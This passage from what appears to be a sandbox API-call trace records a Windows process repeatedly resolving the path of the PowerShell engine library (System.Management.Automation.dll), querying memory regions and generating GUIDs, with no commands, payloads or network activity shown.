lpFilePart=0x0) returned 0x74 [0058.082] GetLastError () returned 0x0 [0058.082] VirtualQuery (in: lpAddress=0x25cde4, lpBuffer=0x25dde4, dwLength=0x1c | out: lpBuffer=0x25dde4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.082] VirtualQuery (in: lpAddress=0x25ce20, lpBuffer=0x25de20, dwLength=0x1c | out: lpBuffer=0x25de20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.082] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.082] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.083] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25cf8c, lpBuffer=0x25df8c, dwLength=0x1c | out: lpBuffer=0x25df8c*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.084] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.085] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb622800b, Data2=0x8b1c, Data3=0x4214, Data4=([0]=0xa3, [1]=0x60, [2]=0x5, [3]=0xe8, [4]=0xd5, [5]=0x69, [6]=0x78, [7]=0x80))) returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.085] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.086] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.087] GetLastError () returned 0x0 [0058.087] VirtualQuery (in: lpAddress=0x25cde4, lpBuffer=0x25dde4, dwLength=0x1c | out: lpBuffer=0x25dde4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.088] VirtualQuery (in: lpAddress=0x25ce20, lpBuffer=0x25de20, dwLength=0x1c | out: lpBuffer=0x25de20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.088] GetLastError () returned 0x0 [0058.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.088] GetLastError () returned 0x0 [0058.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.088] GetLastError () returned 0x0 [0058.088] VirtualQuery (in: lpAddress=0x25ceec, lpBuffer=0x25deec, dwLength=0x1c | out: lpBuffer=0x25deec*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.088] GetLastError () returned 0x0 [0058.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.088] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xa2189caf, Data2=0x5ece, Data3=0x4cce, Data4=([0]=0x9e, [1]=0xc3, [2]=0x35, [3]=0xea, [4]=0x95, [5]=0xc2, [6]=0x35, [7]=0x2f))) returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.089] GetLastError () returned 0x0 [0058.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x81951c98, Data2=0xd9e7, Data3=0x4d86, Data4=([0]=0x9e, [1]=0x6f, [2]=0xa7, [3]=0x79, [4]=0x2a, [5]=0x9a, [6]=0x20, [7]=0x12))) returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, 